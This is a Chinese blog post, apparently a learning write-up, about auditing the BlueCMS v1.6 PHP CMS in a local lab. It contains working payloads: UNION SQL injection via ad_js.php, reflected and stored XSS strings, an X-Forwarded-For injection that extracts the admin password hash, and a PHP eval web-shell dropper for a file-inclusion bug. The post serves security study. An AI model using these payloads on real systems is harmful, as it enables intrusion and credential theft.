代码审计学习-BlueCMS框架代码审计

第一次的代码审计--BlueCMS代码审计

之前总说要学习代码审计,但每次面对大量代码时,又没什么开发经验,都是浅尝即止,面对几千行的代码毫无开始的头绪。(看来又印证了那句话:基础决定上层建筑)作为萌新 最开始我还是先去看了许多大佬的文章,了解一下他们的学习路线,并且学习了一些新的思路。这次挑了个小众的CMS入手–BlueCMS作为我的代码审计开始,顺便分享一些自己的总结。

环境配置:

BlueCMS v1.6 sp1

windows7

PHP 5.4.45 + Apache +mysql 5.7.26

项目结构分析

/admin 存放有关后台管理员的所有文件

/api api接口设置

/data

/images 存放图片样式文件

/include 包含全局的文件

​ 函数定义文件、数据库配置、通用过滤配置文件、文本编辑器、支付界面、插件、

/install 网站安装路径

/js 存放js文件

/temlates 存放一些前端的静态模板文件

/uc_client


开始审计

1、先对配置文件进行了审计

include/common.inc.php文件

(1)查看是否对输入输出进行限制

在这里插入图片描述

存在统一过滤,必对带有单引号的变量值进行转义

先判断是否开启了get_magic_quotes_gpc() 如果没有的话会用自定义的函数deep_addslashes对预定义字符进行加反斜杠处理

PS:这里还是自定义的函数过滤更多


漏洞:进行源码分析发现其实对输入输出还是有遗漏

未对传入的$_SERVER值进行检测(伪造client-ip和x-forwarded-for)

PS:可以全局搜索看看getip类似的函数名,查看代码如何获取ip,是否有利用点


漏洞点


ad_js.php存在sql注入

页面功能介绍:在后台管理中模块管理的添加广告所涉及的功能

在文件common.inc.php中对网站的输入有统一的过滤方法,

$_post、$_get、$_cookies和$_request统一进行数据处理。代码如下:

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

PS:具体的可以再看看之前写的。

对ad_js.php的源码进行审计,通过$_GET[] 获取ad_id的值,直接拼接执行sql语句。

在这里插入图片描述

追踪函数getone(),是自定义的函数,代码在mysql.class.php中,用来查询数据库,代码如下:

在这里插入图片描述

利用:

尝试直接对ad_js.php页面进行注入测试

因为是int型注入 直接拼接sql语句,判断出字段数有7个,且只显示第7个字段的值。

ad_js.php?ad_id=3 union select 1,2,3,4,5,6,7

在这里插入图片描述

当执行语句错误时(直接显示sql语句)

在这里插入图片描述


已经知道数据库的字段数和显示位,并且开发者并未做过多的WAF防御,那么我们就可以执行任意sql语句了

例:

爆破当前数据库的表

ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

获取各表中的字段

ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626C75655F6164

在这里插入图片描述

PS:因为这里对单引号进行了过滤 需要将表名转成16进制进行查询


个人用户注册存在反射型xss攻击

定位:user.php?act=reg

访问user.php,会先接受两个变量 a c t 和 act和 actfrom,后端根据act的参数进行执行动作

$act值为 reg时,from的值会渲染到前端页面value=''中 ,从而导致xss攻击

在这里插入图片描述

因为在全局配置文件中本身就使用了addslashes对字符进行过滤,但影响不大,构造语句进行拼接触发xss

user.php?act=reg&from="/><button onclick=alert(1)></button>


user.php?act=reg&from="><img src='' onerror=alert(1)>

个人资料编辑存在存储型xss

定位:user.php的邮箱参数

该漏洞有两个地方都可以触发

  • 注册账号
  • 修改个人资料

通过代码审计和黑盒测试发现,在对email值进行添加或修改时,直接Post进数据库,未对其做任何过滤和检测,从而引起的xss。其他的都做了限制(例如 限制账号和密码长度)

	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('用户名字符长度不符');
	}
	if(strlen($pwd) < 6){
		showmsg('密码不能少于6个字符');
	}
	if($pwd != $pwd1){
		showmsg('两次输入密码不一致');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('验证码错误');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('该用户名已存在');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('该用户名已存在');
	}

在这里插入图片描述

在这里插入图片描述


评论模块存在SQL注入

定位:漏洞位置comment.php 漏洞页面:news.php?id=

之前在上文也提到过,在对全局配置include/common.inc.php进行审计发现

配置文件中对$_post $_get $_cookies $_request输入统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们可以对ip通过client-ip或x-forwarded-for等进行伪造。代码如下:

/include/comment.fun.php

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //获取客户端用代理服务器访问时的真实ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

网站直接获取ip,并没有对IP格式进行校验,因此我们可以伪造ip。

这里是使用了Seay工具对整个项目进行扫描发现/include/comment.fun.php文件中的getip()可疑危险函数。

在这里插入图片描述


对getip()进行全文搜索查看调用,发现comment.php,进一步追踪。

在这里插入图片描述


comment.php为文章评论功能,跟踪其函数调用位置是一段插入SQL语句命令,代码如下:

在这里插入图片描述

通过函数getip()获取$ip变量的值,直接插入到了SQL语句中并执行,可以看出应该存在SQL注入。注入点在文章进行评论的地方。

进入文章进行发布评论

PS:因为bluscms本身代码没开发完整,在发表文章时出现点问题,解决方法见该漏动点最后的地方。

分析SQL语句

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

一共有9个参数,因为insert语句可以一次插入多条数据,那么在构造$ip的内容时,可以通过闭合掉前面的部分,在拼接上后面的部分,使之变成完整的语句即可。通过测试发现其显示位是$content变量

在这里插入图片描述


通过X-Forwarded-For构造payload:
X-Forwarded-For:1','1'),('','1','0','1','6',(select concat(admin_name,pwd)  from blue_admin),'1603939754','9

在这里插入图片描述


通过查看评论,可以看到admin用户密码的hash值:(其值为admin)

在这里插入图片描述


解决无法发表文章问题补充:

因为需要制定文章分类,但代码并没提供相关分类功能,那么自己把那个分类逻辑注释了

打开文件uploads/user.php 定位到act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

在这里插入图片描述


支付端口存在文件包含漏洞

定位:use.php?act=pay

Ps:该漏洞在真实环境中产生的可能性基本不大,虽然没影响,但我觉得还是应该提及一下

分析源码,未对参数$_POST['pay']做安全检测,直接进行拼接。

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起,您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

有经验的人肯定会立马想到截断,然后就可以实现任意文件包含

但这里本身全局配置就对输入做了检测, 因此无法使用%00截断

PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。

然后我们还可以考虑使用路径长度截断,使用字符.或者/.或者./来截断

操作系统对目录有最大长度的限制,linux最长4096,windows最长256,但长度超过最大限制时

但它的要求是PHP 版本小于 5.2.8 ,现在基本没有比他小的PHP版本了吧。


因为我用的是phpstudy,他也没有小于5.2.8版本的php版本,无法演示,就大致说一下思路吧:

利用user.php中的修改个人资料中的上传头像,上传一个图片马(内容为当执行该文件时会创建一个新文件并写入一句话木马)

<?php
    fputs( fopen("test.php","w") , '<?php eval($_POST[test]);?>')
?>

ps:因为在act=pay 的地方 他是通过post传入参数,我们无法直接通过pay参数上传木马使用蚁剑连接,但可以利用跳板的思路,先利用include,执行图片马生出一个一句话木马后,再通过蚁剑连接上去。

具体测试案例可以参考文章:https://www.freebuf.com/news/196190.html


留言栏IP可伪造

定位:guest_book.php

这是一个提供了留言栏功能的页面,根据源码,构造参数,发送一条留言,显示如下:

在这里插入图片描述


居然显示了IP地址,查看源码中的SQL语句:
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
		VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";

但似乎并没有使用在评论模块中的getip()函数

但利用burp抓包添加XFF头测试后发现确实可以任意修改IP地址,但唯一存在问题的是他限制了IP字段的长度最大是15,猜测应该是在创建的表时对字段长度进行了设置。然后思路断了,无法利用,不知道有没有大佬有骚操作。

在这里插入图片描述


零散记录(杂)

在审计时发现的一些有趣的写法

1、安全配置-1

在许多的配置文件(还不确定是不是只是配置文件或者…)的头部会写的写上这么一堆代码

if(!defined('IN_BLUE'))
{
	die('Access Denied!');
}

效果:判断是否定义 IN_BLUE,未定义则当前运行文件直接结束

作用:防止不是从入口文件进入,文件被任意读取和使用,于是项目在对需要调用这些配置文件的代码头上都写上了一句

define("IN_BLUE",true);

2、安全配置-2

初看该文件 有获取参数,有sql查询,而且参数也是直接拼接,认为存在sql注入

但仔细查看却并不存在sql注入。

在这里插入图片描述

对获取的参数都经过了intval()函数处理(只取整数部分的值),这是一种非常有效且直接的过滤方式,使用的是白名单。使该文件安全,这个框架的很多获取参数的地方使用的都是intval


3、开发思路-1

在我们显示页面(这里参考user.php中的uc_user_login)所有的函数写法都是

在这里插入图片描述

举例:

function uc_user_login($username, $password)
call_user_func(UC_API_FUNC, 'user', 'login')

自定义函数uc_user_login(),使用call_user_func回调函数

UC_API_FUNC根据后面的参数调用的是不同的API接口

这里是调用uc_client/control/use.phponlogin()函数

PS:可能我的理解还是有问题,大家可以查阅一些资料进一步了解 关键词:ucenter通信、登录原理 、UCAPI


4、小方法

  • 快速查询 .$ 看看有没有直接进行拼接的字符串变量,引起SQL注

    例如:ad_js.php中的SQL注入

在这里插入图片描述

  • 先按照文件目录访问一遍所有的文件,查看其页面显示,简单过一遍代码,尝试可以使用的参数

  • 使用代码审计工具(例如Seay)进行辅助,直接定位可疑函数


小结

代码审计方式

  • 追踪危险函数(查询关键字)
  • 追踪数据流
  • 按功能进行审计
  • 通读全文

我的审计思路:

最开始先分析一下全局配置文件:

1、对关键字$_GET,$_POST的搜索,是否进行了全局过滤字符

2、查看主页index包含的配置文件


然后进行一个个文件进行审计,但我只查看数据流信息(获取get和post参数的代码)

因为我发现当自己直接从整个项目框架入手时会变得不知所措,不知道到底该看什么,不该看什么,不如把目标放近,从一个个文件出发,只关注何处进行了获取参数。


踩坑

最开始我确实是想一行行进行审计,但我开始真正的代码审计时,发现一行行的读过去是方法根本不可能的,费时又费力,我们进行代码审计的目标就是要学会如何能快速定位目标,并且发现目标问题(这个水平真的太强了,跟学长一起打CTF,虽然他是个Pwn选手,但帮忙看web源码分析时总能非常快速的定位问题,并且他提出的永远是这个地方肯定是这样的,而不是这里可能是这样的)。

代码审计流程学习建议

bwapp、dvwa(漏洞靶场)->blueCMS->小众CMS->dede、wordpress->框架

我现在先尝试的做法:
我是跳过了DVWA的审计,先尝试对一个小众CMS入手(blueCMS),先通读全文,了解了基本功能和结构后,开始正式的代码审计,根据追踪数据流进行代码审计,在审计中会碰到一些常见的功能(例如文件上传,SQL注入),这时候我可能会回去看看DVWA上的对于的web漏洞的源码是怎么写的(因为他既有危险的写法也有完全无危险的写法)。在对数据流都审计完后再看看剩下的一些还没审计的代码

审计搭配的做法:根据漏洞靶场的源码了解某一漏洞的形成,根据我要审计的cms再看看其他网上的审计文章教程

适合自己的方法才是最好的方法

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值